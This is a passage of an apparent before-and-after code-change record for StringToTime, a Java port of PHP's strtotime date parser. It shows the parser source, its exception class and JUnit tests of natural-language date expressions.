cal.get(Calendar.WEEK_OF_YEAR)-1);\n\t\t\t\t\t\t\telse if (\"month\".equals(expr)) \n\t\t\t\t\t\t\t\tcal.set(Calendar.MONTH, cal.get(Calendar.MONTH)-1);\n\t\t\t\t\t\t\telse if (\"year\".equals(expr))\n\t\t\t\t\t\t\t\tcal.set(Calendar.YEAR, cal.get(Calendar.YEAR)-1);\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tthrow new IllegalArgumentException(String.format(\"Invalid expression of time: %s\", dateTimeString));\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// year\n\t\t\t\t\telse if (type == FormatType.YEAR) {\n\t\t\t\t\t\tcal.set(Calendar.YEAR, new Integer(m.group(0)));\n\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// unimplemented format type\n\t\t\t\t\telse\n\t\t\t\t\t\tthrow new IllegalStateException(String.format(\"Unimplemented FormatType: %s\", type));\n\t\t\t\t} catch (ParseException e) {\n\t\t\t\t\tthrow e;\n\t\t\t\t} catch (IllegalStateException e) {\n\t\t\t\t\tthrow e;\n\t\t\t\t} catch (IllegalArgumentException e) {\n\t\t\t\t\tthrow e;\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t\tthrow new RuntimeException(String.format(\"Unknown failure in string-to-time conversion: %s\", e.getMessage()), e);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t\n\tprivate enum FormatType {\n\t\tCOMPOUND,\n\t\tMONTH_AND_DATE_WITH_SLASHES,\n\t\tMONTH_AND_DATE,\n\t\tMONTH,\n\t\tDAY_OF_WEEK,\n\t\tNEXT,\n\t\tLAST,\n\t\tINCREMENT,\n\t\tDECREMENT,\n\t\tWORD,\n\t\tTIME,\n\t\tYEAR\n\t}\n\t\n}\n", "src/main/java/com/clutch/dates/StringToTimeException.java": "package com.clutch.dates;\n\npublic class StringToTimeException extends RuntimeException {\n\t\n\tprivate static final long serialVersionUID = -3777846121104246071L;\n\n\tpublic StringToTimeException(Object dateTimeString) {\n\t\tsuper(String.format(\"Failed to parse [%s] into a java.util.Date\", dateTimeString));\n\t}\n\t\n\tpublic StringToTimeException(Object dateTimeString, Throwable cause) {\n\t\tsuper(String.format(\"Failed to parse [%s] into a java.util.Date\", dateTimeString), cause);\n\t}\n\n}\n", "src/test/java/com/clutch/dates/StringToTimeTest.java": "package com.clutch.dates;\n\nimport java.text.SimpleDateFormat;\nimport java.util.Calendar;\nimport java.util.Date;\nimport java.util.GregorianCalendar;\n\nimport junit.framework.TestCase;\n\nimport org.springframework.beans.BeanWrapper;\nimport org.springframework.beans.BeanWrapperImpl;\n\npublic class StringToTimeTest extends TestCase {\n\n\tpublic void testMySqlDateFormat() {\n\t\tDate now = new Date();\n\t\tCalendar cal = Calendar.getInstance();\n\t\tcal.setTime(now);\n\t\t\n\t\tcal.set(Calendar.MONTH, Calendar.OCTOBER);\n\t\tcal.set(Calendar.DATE, 26);\n\t\tcal.set(Calendar.YEAR, 1981);\n\t\tcal.set(Calendar.HOUR_OF_DAY, 15);\n\t\tcal.set(Calendar.MINUTE, 26);\n\t\tcal.set(Calendar.SECOND, 3);\n\t\tcal.set(Calendar.MILLISECOND, 435);\n\t\t\n\t\tassertEquals(new Date(cal.getTimeInMillis()), new StringToTime(\"1981-10-26 15:26:03.435\", now));\n\t}\n\t\n\t/* FIXME\n\tpublic void testISO8601() {\n\t\tDate now = new Date();\n\t\tCalendar cal = Calendar.getInstance();\n\t\tcal.setTime(now);\n\t\t\n\t\tcal.set(Calendar.MONTH, Calendar.OCTOBER);\n\t\tcal.set(Calendar.DATE, 26);\n\t\tcal.set(Calendar.YEAR, 1981);\n\t\tcal.set(Calendar.HOUR_OF_DAY, 15);\n\t\tcal.set(Calendar.MINUTE, 25);\n\t\tcal.set(Calendar.SECOND, 2);\n\t\tcal.set(Calendar.MILLISECOND, 435);\n\t\t\n\t\tassertEquals(new Date(cal.getTimeInMillis()), new StringToTime(\"1981-10-26T15:26:03.435ZEST\", now));\n\t}\n\t*/\n\t\n\tpublic void test1200Seconds() {\n\t\tDate now = new Date();\n\t\tCalendar cal = Calendar.getInstance();\n\t\tcal.setTime(now);\n\t\t\n\t\tcal.set(Calendar.SECOND, cal.get(Calendar.SECOND)+1200);\n\t\tassertTrue(new Date(cal.getTimeInMillis()).equals(new StringToTime(\"+1200 s\", now)));\n\t\tassertFalse(new Date(cal.getTimeInMillis()).equals(new StringToTime(\"+1 s\", now)));\n\t}\n\t\n\tpublic void testVariousExpressionsOfTimeOfDay() {\n\t\tDate now = new Date();\n\t\tCalendar cal = Calendar.getInstance();\n\t\tcal.setTime(now);\n\t\t\n\t\tcal.set(Calendar.HOUR_OF_DAY, 23);\n\t\tcal.set(Calendar.MINUTE, 59);\n\t\tcal.set(Calendar.SECOND, 59);\n\t\tcal.set(Calendar.MILLISECOND, 0);\n\t\tassertEquals(new Date(cal.getTimeInMillis()), new StringToTime(\"11:59:59 PM\", now));\n\t\tassertEquals(new Date(cal.getTimeInMillis()), new StringToTime(\"23:59:59\", now));\n\t\t\n\t\tcal.set(Calendar.SECOND, 0);\n\t\tassertEquals(new Date(cal.getTimeInMillis()), new StringToTime(\"23:59\", now));\n\t\tassertEquals(new Date(cal.getTimeInMillis()), new StringToTime(\"11:59 PM\", now));\n\t\t\n\t\tcal.set(Calendar.MILLISECOND, 123);\n\t\tassertEquals(new Date(cal.getTimeInMillis()), new StringToTime(\"23:59:00.123\"));\n\t\t\n\t\tcal.set(Calendar.MONTH, Calendar.OCTOBER);\n\t\tcal.set(Calendar.DATE, 26);\n\t\tcal.set(Calendar.YEAR, 1981);\n\t\tcal.set(Calendar.HOUR_OF_DAY, 15);\n\t\tcal.set(Calendar.MINUTE, 27);\n\t\tcal.set(Calendar.SECOND, 0);\n\t\tcal.set(Calendar.MILLISECOND, 0);\n\t\tassertEquals(new Date(cal.getTimeInMillis()), new StringToTime(\"October 26, 1981 3:27:00 PM\", now));\n\t\t\n\t\tcal.set(Calendar.HOUR, 5);\n\t\tcal.set(Calendar.MINUTE, 0);\n\t\tcal.set(Calendar.SECOND, 0);\n\t\tcal.set(Calendar.AM_PM, Calendar.PM);\n\t\tassertEquals(new Date(cal.getTimeInMillis()), new StringToTime(\"10/26/81 5PM\", now));\n\t\t\n\t\tcal.setTime(now);\n\t\tcal.set(Calendar.DATE, cal.get(Calendar.DATE)+1);\n\t\tcal.set(Calendar.HOUR, 5);\n\t\tcal.set(Calendar.MINUTE, 0);\n\t\tcal.set(Calendar.SECOND, 0);\n\t\tcal.set(Calendar.MILLISECOND, 0);\n\t\tcal.set(Calendar.AM_PM, Calendar.PM);\n\t\tassertEquals(new Date(cal.getTimeInMillis()), new StringToTime(\"tomorrow 5PM\", now));\n\t\t\n\t\tcal.set(Calendar.DATE, cal.get(Calendar.DATE)-2);\n\t\tassertEquals(new Date(cal.getTimeInMillis()), new StringToTime(\"yesterday 5PM\", now));\n\t\tassertEquals(new StringToTime(\"yesterday evening\", now), new StringToTime(\"yesterday 5PM\", now));\n\t}\n\t\n\tpublic void testStaticMethods() {\n\t\tDate now = new Date();\n\t\t\n\t\t// timestamp\n\t\tLong time = (Long) StringToTime.time(\"now\", now);\n\t\tassertEquals(new Date(now.getTime()), new Date(time));\n\t\t\n\t\t// calendar\n\t\tCalendar cal = (Calendar) StringToTime.cal(\"now\", now);\n\t\tassertEquals(new Date(now.getTime()), new Date(cal.getTimeInMillis()));\n\t\t\n\t\t// date\n\t\tDate date = (Date) StringToTime.date(\"now\", now);\n\t\tassertEquals(new Date(now.getTime()), date);\n\t}\n\n\tpublic void testInstancePattern() {\n\t\tStringToTime date = new StringToTime(\"26 October 1981\");\n\t\tBeanWrapper bean = new BeanWrapperImpl(date);\n\t\tCalendar cal = new GregorianCalendar(1981, Calendar.OCTOBER, 26);\n\t\tLong myBirthday = cal.getTimeInMillis();\n\t\t\n\t\t// string value of the StringToTime object is the timestamp\n\t\tassertEquals(myBirthday, new Long(date.getTime()));\n\t\t\n\t\t// formatting controlled by constructor\n\t\tdate = new StringToTime(\"26 October 1981\", \"d MMM yyyy\");\n\t\tassertEquals(\"26 Oct 1981\", date.toString());\n\t\tdate = new StringToTime(\"26 October 1981\", \"M/d/yy\");\n\t\tassertEquals(\"10/26/81\", date.toString());\n\t\t\n\t\t// time property\n\t\tassertEquals(myBirthday, bean.getPropertyValue(\"time\"));\n\t\t\n\t\t// date property\n\t\tDate now = new Date(myBirthday);\n\t\tassertEquals(now, date);\n\t\t\n\t\t// calendar property\n\t\tassertEquals(cal, bean.getPropertyValue(\"cal\"));\n\t\t\n\t\t// format on demand\n\t\tassertEquals(\"October 26, 1981\", date.format(\"MMMM d, yyyy\"));\n\t}\n\t\n\tpublic void testNow() {\n\t\tDate now = new Date();\n\t\tassertEquals(new Date(now.getTime()), new StringToTime(\"now\", now));\n\t}\n\t\n\tpublic void testToday() {\n\t\tDate now = new Date();\n\t\tassertEquals(new StringToTime(\"00:00:00.000\", now), new StringToTime(\"today\", now));\n\t}\n\t\n\tpublic void testThisMorning() {\n\t\tDate now = new Date();\n\t\tassertEquals(new StringToTime(\"07:00:00.000\", now), new StringToTime(\"this morning\", now));\n\t\tassertEquals(new StringToTime(\"morning\", now), new StringToTime(\"this morning\", now));\n\t}\n\t\n\tpublic void testNoon() {\n\t\tDate now = new Date();\n\t\tassertEquals(new StringToTime(\"12:00:00.000\", now), new StringToTime(\"noon\", now));\n\t}\n\t\n\tpublic void testThisAfternoon() {\n\t\tDate now = new Date();\n\t\tassertEquals(new StringToTime(\"13:00:00.000\", now), new StringToTime(\"this afternoon\", now));\n\t\tassertEquals(new StringToTime(\"afternoon\", now), new StringToTime(\"this afternoon\", now));\n\t}\n\t\n\tpublic void testThisEvening() {\n\t\tDate now = new Date();\n\t\tassertEquals(new StringToTime(\"17:00:00.000\", now), new StringToTime(\"this evening\", now));\n\t\tassertEquals(new StringToTime(\"evening\", now), new StringToTime(\"this evening\", now));\n\t}\n\t\n\tpublic void testTonight() {\n\t\tDate now = new Date();\n\t\tassertEquals(StringToTime.time(\"20:00:00.000\", now), StringToTime.time(\"tonight\", now));\n\t}\n\t\n\tpublic void testIncrements() {\n\t\tDate now = new Date();\n\t\t\n\t\tCalendar cal = Calendar.getInstance();\n\t\tcal.setTime(now);\n\t\tcal.set(Calendar.HOUR_OF_DAY, cal.get(Calendar.HOUR_OF_DAY)+1);\n\t\tassertEquals(cal.getTimeInMillis(), StringToTime.time(\"+1 hour\", now));\n\t\t\n\t\tcal.setTime(now);\n\t\tcal.set(Calendar.WEEK_OF_YEAR, cal.get(Calendar.WEEK_OF_YEAR)+52);\n\t\tassertEquals(cal.getTimeInMillis(), StringToTime.time(\"+52 weeks\", now));\n\t\t\n\t\tassertEquals(new StringToTime(\"1 year\", now), new StringToTime(\"+1 year\", now));\n\t\t\n\t\tassertEquals(new StringToTime(\"+1 year\", now), new StringToTime(\"+12 months\", now));\n\t\t\n\t\tassertEquals(new StringToTime(\"+1 year 6 months\", now), new StringToTime(\"+18 months\", now));\n\t\t\n\t\tassertEquals(new StringToTime(\"12 months 1 day 60 seconds\", now), new StringToTime(\"1 year 24 hours 1 minute\", now));\n\t}\n\t\n\tpublic void testDecrements() {\n\t\tDate now = new Date();\n\t\t\n\t\tCalendar cal = Calendar.getInstance();\n\t\tcal.setTime(now);\n\t\tcal.set(Calendar.HOUR_OF_DAY, cal.get(Calendar.HOUR_OF_DAY)-1);\n\t\tassertEquals(new Date(cal.getTimeInMillis()), new StringToTime(\"-1 hour\", now));\n\t}\n\t\n\tpublic void testTomorrow() {\n\t\tDate now = new Date();\n\t\tCalendar cal = Calendar.getInstance();\n\t\tcal.setTime(now);\n\t\tcal.set(Calendar.DATE, cal.get(Calendar.DATE)+1);\n\t\tassertEquals(new Date(cal.getTimeInMillis()), new StringToTime(\"tomorrow\", now));\n\t\tassertEquals(new StringToTime(\"now +24 hours\", now), new StringToTime(\"tomorrow\", now));\n\t}\n\t\n\tpublic void testTomorrowMorning() {\n\t\tDate now = new Date();\n\t\tassertEquals(new StringToTime(\"this morning +24 hours\", now), new StringToTime(\"tomorrow morning\", now));\n\t}\n\t\n\tpublic void testTomorrowNoon() {\n\t\tDate now = new Date();\n\t\tassertEquals(new StringToTime(\"noon +24 hours\", now), new StringToTime(\"tomorrow noon\", now));\n\t\tassertEquals(new StringToTime(\"noon +24 hours\", now), new StringToTime(\"noon tomorrow\", now));\n\t}\n\t\n\tpublic void testTomorrowAfternoon() {\n\t\tDate now = new Date();\n\t\tassertEquals(new StringToTime(\"this afternoon +24 hours\", now), new StringToTime(\"tomorrow afternoon\", now));\n\t}\n\t\n\tpublic void testTomorrowEvening() {\n\t\tDate now = new Date();\n\t\tassertEquals(new StringToTime(\"this evening +24 hours\", now), new StringToTime(\"tomorrow evening\", now));\n\t}\n\t\n\tpublic void testTomorrowNight() {\n\t\tDate now = new Date();\n\t\tassertEquals(new StringToTime(\"tonight +24 hours\", now), new StringToTime(\"tomorrow night\", now));\n\t}\n\t\n\t// e.g., October 26, 1981, or Oct 26, 1981, or 26 October 1981, or 26 Oct 1981, or 26 Oct 81\n\tpublic void testLongHand() throws Exception {\n\t\tassertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"10/26/1981\"), new StringToTime(\"October 26, 1981\"));\n\t\tassertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"10/26/1981\"), new StringToTime(\"Oct 26, 1981\"));\n\t\t\n\t\tassertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"10/26/1981\"), new StringToTime(\"26 October 1981\"));\n\t\tassertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"10/26/1981\"), new StringToTime(\"26 Oct 1981\"));\n\t\tassertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"10/26/1981\"), new StringToTime(\"26 Oct 81\"));\n\t\t\n\t\tassertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"10/26/1981\"), new StringToTime(\"26 october 1981\"));\n\t\tassertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"10/26/1981\"), new StringToTime(\"26 oct 1981\"));\n\t\tassertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"10/26/1981\"), new StringToTime(\"26 oct 81\"));\n\t\t\n\t\tassertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"1/1/2000\"), new StringToTime(\"1 Jan 2000\"));\n\t\tassertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"1/1/2000\"), new StringToTime(\"1 Jan 00\"));\n\t\t\n\t\tassertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"1/1/2000\"), new StringToTime(\"1 jan 2000\"));\n\t\tassertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"1/1/2000\"), new StringToTime(\"1 jan 00\"));\n\t}\n\t\n\t// e.g., 10/26/1981 or 10/26/81\n\tpublic void testWithSlahesMonthFirst() throws Exception {\n\t\tassertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"10/26/1981\"), new StringToTime(\"10/26/1981\"));\n\t\tassertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"10/26/1981\"), new StringToTime(\"10/26/81\"));\n\t}\n\n\t// e.g., 1981/10/26\n\tpublic void testWithSlashesYearFirst() throws Exception {\n\t\tassertEquals(new SimpleDateFormat(\"M/d/y\").parse(\"10/26/1981\"), new StringToTime(\"1981/10/26\"));\n\t}\n\t\n\t// e.g., October 26 and Oct 26\n\tpublic void testMonthAndDate() throws Exception {\n\t\tDate now = new Date();\n\t\tCalendar cal = Calendar.getInstance();\n\t\tcal.set(Calendar.MONTH, Calendar.OCTOBER);\n\t\tcal.set(Calendar.DATE, 26);\n\t\tassertEquals(new Date(cal.getTimeInMillis()), new StringToTime(\"October 26\", now));\n\t\tassertEquals(new StringToTime(\"Oct 26\", now), new StringToTime(\"October 26\", now));\n\t}\n\t\n\t// e.g., 10/26\n\tpublic void testWithSlahesMonthAndDate() throws Exception {\n\t\tCalendar cal = Calendar.getInstance();\n\t\tcal.set(Calendar.MONTH, Calendar.OCTOBER);\n\t\tcal.set(Calendar.DATE, 26);\n\t\tassertEquals(new Date(cal.getTimeInMillis()), new StringToTime(\"10/26\"));\n\t}\n\t\n\t// e.g., October or Oct\n\tpublic void testMonth() throws Exception {\n\t\tDate now = new Date();\n\t\t\n\t\tassertEquals(new StringToTime(\"October\", now), new StringToTime(\"Oct\", now));\n\t\t\n\t\tCalendar cal = Calendar.getInstance();\n\t\tcal.setTime(now);\n\t\t\n\t\t// it should be this year\n\t\tassertEquals(cal.get(Calendar.YEAR), new StringToTime(\"January\", now).getCal().get(Calendar.YEAR));\n        assertEquals(cal.get(Calendar.YEAR), new StringToTime(\"December\", now).getCal().get(Calendar.YEAR));\n\t}\n\t\n\tpublic void testDayOfWeek() throws Exception {\n\t\tDate now = new Date();\n\t\tassertEquals(StringToTime.date(\"Friday\", now), StringToTime.date(\"Fri\", now));\n\t\t\n\t\tCalendar cal = Calendar.getInstance();\n\t\tcal.setTime(now);\n\t\t\n\t\t// if today's day of the week is greater than or equal to our test day of the week (Wednesday)\n\t\tif (cal.get(Calendar.DAY_OF_WEEK) >= 3) // then the day of the week on the date returned should be next week\n\t\t\tassertEquals(cal.get(Calendar.WEEK_OF_YEAR)+1, new StringToTime(\"Wednesday\", now).getCal().get(Calendar.WEEK_OF_YEAR));\n\t\telse // otherwise, it should be this year\n\t\t\tassertEquals(cal.get(Calendar.WEEK_OF_YEAR), new StringToTime(\"Wednesday\", now).getCal().get(Calendar.WEEK_OF_YEAR));\n\t}\n\t\n\tpublic void testNext() {\n\t\tDate now = new Date();\n\t\tassertEquals(new StringToTime(\"next January 15\", now), new StringToTime(\"Jan 15\", now));\n\t\tassertEquals(new StringToTime(\"next Dec\", now), new StringToTime(\"December\", now));\n\t\tassertEquals(new StringToTime(\"next Sunday\", now), new StringToTime(\"Sun\", now));\n\t\tassertEquals(new StringToTime(\"next Sat\", now), new StringToTime(\"Saturday\", now));\n\t}\n\t\n\tpublic void testLast() {\n\t\tDate now = new Date();\n\t\tassertEquals(new StringToTime(\"last January 15\", now), new StringToTime(\"Jan 15 -1 year\", now));\n\t\tassertEquals(new StringToTime(\"last Dec\", now), new StringToTime(\"December -1 year\", now));\n\t\tassertEquals(new StringToTime(\"last Sunday\", now), new StringToTime(\"Sun -1 week\", now));\n\t\tassertEquals(new StringToTime(\"last Sat\", now), new StringToTime(\"Saturday -1 week\", now));\n\t}\n\t\n\t\n\t\n}\n"}, "files_after": {"src/main/java/com/clutch/dates/StringToTime.java": "package com.clutch.dates;\n\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.Calendar;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\nimport org.joda.time.DateTime;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport ch.qos.logback.classic.Level;\n\nimport com.google.common.base.Preconditions;\nimport com.google.common.base.Strings;\nimport com.google.common.base.Throwables;\n\n/**\n * A Java implementation of the PHP function strtotime(String, int): accepts\n * various expressions of time\n * in <code>String</code> format, and returns a timestamp or {@link DateTime}\n * object.\n * \n * <h2>Valid expressions of time</h2>\n * \n * <p>\n * All expressions are case-insensitive.\n * </p>\n * \n * <ul>\n * <li><code>now</code> (equal to <code>new Date()</code>)</li>\n * <li><code>today</code> (equal to <code>StringToTime(\"00:00:00.000\")</code>)</li>\n * <li><code>midnight</code> (equal to\n * <code>StringToTime(\"00:00:00.000 +24 hours\")</code>)</li>\n * <li><code>morning</code> or <code>this morning</code> (by default, equal to\n * <code>StringToTime(\"07:00:00.000\")</code>)</li>\n * <li><code>noon</code> (by default, equal to\n * <code>StringToTime(\"12:00:00.000\")</code></li>\n * <li><code>afternoon</code> or <code>this afternoon</code> (by default, equal\n * to <code>StringToTime(\"13:00:00.000\")</code></li>\n * <li><code>evening</code> or <code>this evening</code> (by default, equal to\n * <code>StringToTime(\"17:00:00.000\")</code></li>\n * <li><code>tonight</code> (by default, equal to\n * <code>StringToTime(\"20:00:00.000\")</code></li>\n * <li><code>tomorrow</code> (by default, equal to\n * <code>StringToTime(\"now +24 hours\")</code>)</li>\n * <li><code>tomorrow morning</code> (by default, equal to\n * <code>StringToTime(\"morning +24 hours\")</code>)</li>\n * <li><code>noon tomorrow</code> or <code>tomorrow noon</code> (by default,\n * equal to <code>StringToTime(\"noon +24 hours\")</code>)</li>\n * <li><code>tomorrow afternoon</code> (by default, equal to\n * <code>StringToTime(\"afternoon +24 hours\")</code>)</li>\n * <li><code>yesterday</code> (by default, equal to\n * <code>StringToTime(\"now -24 hours\")</code>)</li>\n * <li>all the permutations of <code>yesterday</code> and <code>morning</code>,\n * <code>noon</code>, <code>afternoon</code>, and <code>evening</code></li>\n * <li><code>October 26, 1981</code> or <code>Oct 26, 1981</code></li>\n * <li><code>October 26</code> or <code>Oct 26</code></li>\n * <li><code>26 October 1981</code></li>\n * <li><code>26 Oct 1981</code></li>\n * <li><code>26 Oct 81</code></li>\n * <li><code>10/26/1981</code> or <code>10-26-1981</code></li>\n * <li><code>10/26/81</code> or <code>10-26-81</code></li>\n * <li><code>1981/10/26</code> or <code>1981-10-26</code></li>\n * <li><code>10/26</code> or <code>10-26</code></li>\n * </ul>\n * \n * @author Aaron Collegeman acollegeman@clutch-inc.com\n * @since JRE 1.5.0\n * @see http://us3.php.net/manual/en/function.strtotime.php\n */\npublic class StringToTime {\n\n\t/**\n\t * Parse {@code string} and return a {@link DateTime} object.\n\t * \n\t * @param string\n\t * @return the corresponding DateTime\n\t */\n\tpublic static DateTime parseDateTime(String string) {\n\t\treturn new DateTime(parseLong(string));\n\t}\n\n\t/**\n\t * Parse {@code string} and return a timestamp with millisecond precision.\n\t * \n\t * @param string\n\t * @return the corresponding timestamp\n\t */\n\tpublic static long parseLong(String string) {\n\t\treturn parseLong(string, new Date());\n\t}\n\t\n\tprotected static DateTime parseDateTime(String string, Date now){\n\t\treturn new DateTime(parseLong(string, now));\n\t}\n\n\t/**\n\t * Parse {@code string} relative to {@code now} and return a timestamp with\n\t * millisecond precision.\n\t * \n\t * @param string\n\t * @param now\n\t * @return the corresponding timestamp\n\t */\n\tprotected static long parseLong(String string, Date now) {\n\t\tPreconditions.checkArgument(!Strings.isNullOrEmpty(string));\n\t\ttry {\n\t\t\tfor (PatternAndFormat paf : known) {\n\t\t\t\tMatcher m = paf.matches(string);\n\t\t\t\tif(m.matches()) {\n\t\t\t\t\tLong time = paf.parse(string, now, m);\n\t\t\t\t\tlog.debug(String.format(\"{} triggered format {}: {}\",\n\t\t\t\t\t\t\tstring, paf.f, new Date(time)));\n\t\t\t\t\treturn time;\n\t\t\t\t}\n\t\t\t}\n\t\t\tlog.debug(String.format(\"Unrecognized date/time string {}\", string));\n\t\t\tthrow new ParseException(\"Unrecognized date/time string '\" + string\n\t\t\t\t\t+ \"'\", 0);\n\t\t}\n\t\tcatch (Exception e) { // thrown by various features of the parser\n\t\t\tthrow Throwables.propagate(e);\n\t\t}\n\t}\n\n\t/**\n\t * Return the parse result.\n\t * \n\t * @param trimmedDateTimeString\n\t * @param now\n\t * @return\n\t * @throws ParseException\n\t */\n\tprivate static ParserResult getParserResult(String trimmedDateTimeString,\n\t\t\tDate now) throws ParseException {\n\t\tfor (PatternAndFormat paf : known) {\n\t\t\tMatcher m = paf.matches(trimmedDateTimeString);\n\t\t\tif(m.matches()) {\n\t\t\t\tlog.debug(String.format(\n\t\t\t\t\t\t\"Date/time string [%s] triggered format [%s]\",\n\t\t\t\t\t\ttrimmedDateTimeString, paf.f));\n\t\t\t\treturn new ParserResult(\n\t\t\t\t\t\tpaf.parse(trimmedDateTimeString, now, m), paf.f.type);\n\t\t\t}\n\t\t}\n\n\t\treturn null;\n\t}\n\n\tprivate static final Logger log = LoggerFactory\n\t\t\t.getLogger(StringToTime.class);\n\tstatic {\n\t\t// Set to Level.DEBUG to see information about string parsing logic\n\t\t((ch.qos.logback.classic.Logger) log).setLevel(Level.INFO);\n\t}\n\n\t// An expression of time (hour)(:(minute))?((:(second))(.(millisecond))?)?(\n\t// *(am?|pm?))?(RFC 822 time zone|general time zone)?\n\tprivate static final String timeExpr = \"(\\\\d{1,2})(:(\\\\d{1,2}))?(:(\\\\d{1,2})(\\\\.(\\\\d{1,3}))?)?( *(am?|pm?))?( *\\\\-\\\\d{4}|[a-z]{3}|[a-z ]+)?\";\n\n\t/**\n\t * Patterns and formats recognized by the algorithm; first match wins, so\n\t * insert most specific patterns first.\n\t */\n\tprivate static final PatternAndFormat[] known = {\n\n\t\t\t// TODO: ISO 8601 and derivatives\n\n\t\t\t// just the year\n\t\t\tnew PatternAndFormat(Pattern.compile(\"\\\\d{4}\"), new Format(\n\t\t\t\t\tFormatType.YEAR)),\n\n\t\t\t// decrement, e.g., -1 day\n\t\t\tnew PatternAndFormat(Pattern.compile(\"\\\\-( *\\\\d{1,} +[^ ]+){1,}\",\n\t\t\t\t\tPattern.CASE_INSENSITIVE), new Format(FormatType.DECREMENT)),\n\n\t\t\t// increment, e.g., +1 day\n\t\t\tnew PatternAndFormat(Pattern.compile(\"\\\\+?( *\\\\d{1,} +[^ ]+){1,}\",\n\t\t\t\t\tPattern.CASE_INSENSITIVE), new Format(FormatType.INCREMENT)),\n\n\t\t\t// e.g., October 26 and Oct 26\n\t\t\tnew PatternAndFormat(Pattern.compile(\"([a-z]+) +(\\\\d{1,2})\",\n\t\t\t\t\tPattern.CASE_INSENSITIVE), new Format(\n\t\t\t\t\tFormatType.MONTH_AND_DATE)),\n\n\t\t\t// e.g., 26 October 1981, or 26 Oct 1981, or 26 Oct 81\n\t\t\tnew PatternAndFormat(Pattern.compile(\n\t\t\t\t\t\"\\\\d{1,2} +[a-z]+ +(\\\\d{2}|\\\\d{4})\",\n\t\t\t\t\tPattern.CASE_INSENSITIVE), new Format(\"d MMM y\")),\n\n\t\t\t// now or today\n\t\t\tnew PatternAndFormat(\n\t\t\t\t\tPattern.compile(\n\t\t\t\t\t\t\t\"(midnight|now|today|(this +)?(morning|afternoon|evening)|tonight|noon( +tomorrow)?|tomorrow|tomorrow +(morning|afternoon|evening|night|noon)?|yesterday|yesterday +(morning|afternoon|evening|night)?)\",\n\t\t\t\t\t\t\tPattern.CASE_INSENSITIVE), new Format(\n\t\t\t\t\t\t\tFormatType.WORD)),\n\n\t\t\t// time, 24-hour and 12-hour\n\t\t\tnew PatternAndFormat(Pattern.compile(timeExpr,\n\t\t\t\t\tPattern.CASE_INSENSITIVE), new Format(FormatType.TIME)),\n\n\t\t\t// e.g., October 26, 1981 or Oct 26, 1981\n\t\t\tnew PatternAndFormat(Pattern.compile(\n\t\t\t\t\t\"[a-z]+ +\\\\d{1,2} *, *(\\\\d{2}|\\\\d{4})\",\n\t\t\t\t\tPattern.CASE_INSENSITIVE), new Format(\"MMM d, y\")),\n\n\t\t\t// e.g., 10/26/1981 or 10/26/81\n\t\t\tnew PatternAndFormat(Pattern.compile(\"\\\\d{1,2}/\\\\d{1,2}/\\\\d{2,4}\"),\n\t\t\t\t\tnew Format(\"M/d/y\")),\n\n\t\t\t// e.g., 10-26-1981 or 10-26-81\n\t\t\tnew PatternAndFormat(\n\t\t\t\t\tPattern.compile(\"\\\\d{1,2}\\\\-\\\\d{1,2}\\\\-\\\\d{2,4}\"),\n\t\t\t\t\tnew Format(\"M-d-y\")),\n\n\t\t\t// e.g., 10/26 or 10-26\n\t\t\tnew PatternAndFormat(\n\t\t\t\t\tPattern.compile(\"(\\\\d{1,2})(/|\\\\-)(\\\\d{1,2})\"), new Format(\n\t\t\t\t\t\t\tFormatType.MONTH_AND_DATE_WITH_SLASHES)),\n\n\t\t\t// e.g., 1981/10/26\n\t\t\tnew PatternAndFormat(Pattern.compile(\"\\\\d{4}/\\\\d{1,2}/\\\\d{1,2}\"),\n\t\t\t\t\tnew Format(\"y/M/d\")),\n\n\t\t\t// e.g., 1981-10-26\n\t\t\tnew PatternAndFormat(\n\t\t\t\t\tPattern.compile(\"\\\\d{4}\\\\-\\\\d{1,2}\\\\-\\\\d{1,2}\"),\n\t\t\t\t\tnew Format(\"y-M-d\")),\n\n\t\t\t// e.g., October or Oct\n\t\t\tnew PatternAndFormat(\n\t\t\t\t\tPattern.compile(\n\t\t\t\t\t\t\t\"(Jan(uary)?|Feb(ruary)?|Mar(ch)?|Apr(il)?|May|Jun(e)?|Jul(y)?|Aug(ust)?|Sep(tember)?|Oct(ober)?|Nov(ember)?|Dec(ember)?)\",\n\t\t\t\t\t\t\tPattern.CASE_INSENSITIVE), new Format(\n\t\t\t\t\t\t\tFormatType.MONTH)),\n\n\t\t\t// e.g., Tuesday or Tue\n\t\t\tnew PatternAndFormat(\n\t\t\t\t\tPattern.compile(\n\t\t\t\t\t\t\t\"(Sun(day)?|Mon(day)?|Tue(sday)?|Wed(nesday)?|Thu(rsday)?|Fri(day)?|Sat(urday)?)\",\n\t\t\t\t\t\t\tPattern.CASE_INSENSITIVE), new Format(\n\t\t\t\t\t\t\tFormatType.DAY_OF_WEEK)),\n\n\t\t\t// next, e.g., next Tuesday\n\t\t\tnew PatternAndFormat(Pattern.compile(\"next +(.*)\",\n\t\t\t\t\tPattern.CASE_INSENSITIVE), new Format(FormatType.NEXT)),\n\n\t\t\t// last, e.g., last Tuesday\n\t\t\tnew PatternAndFormat(Pattern.compile(\"last +(.*)\",\n\t\t\t\t\tPattern.CASE_INSENSITIVE), new 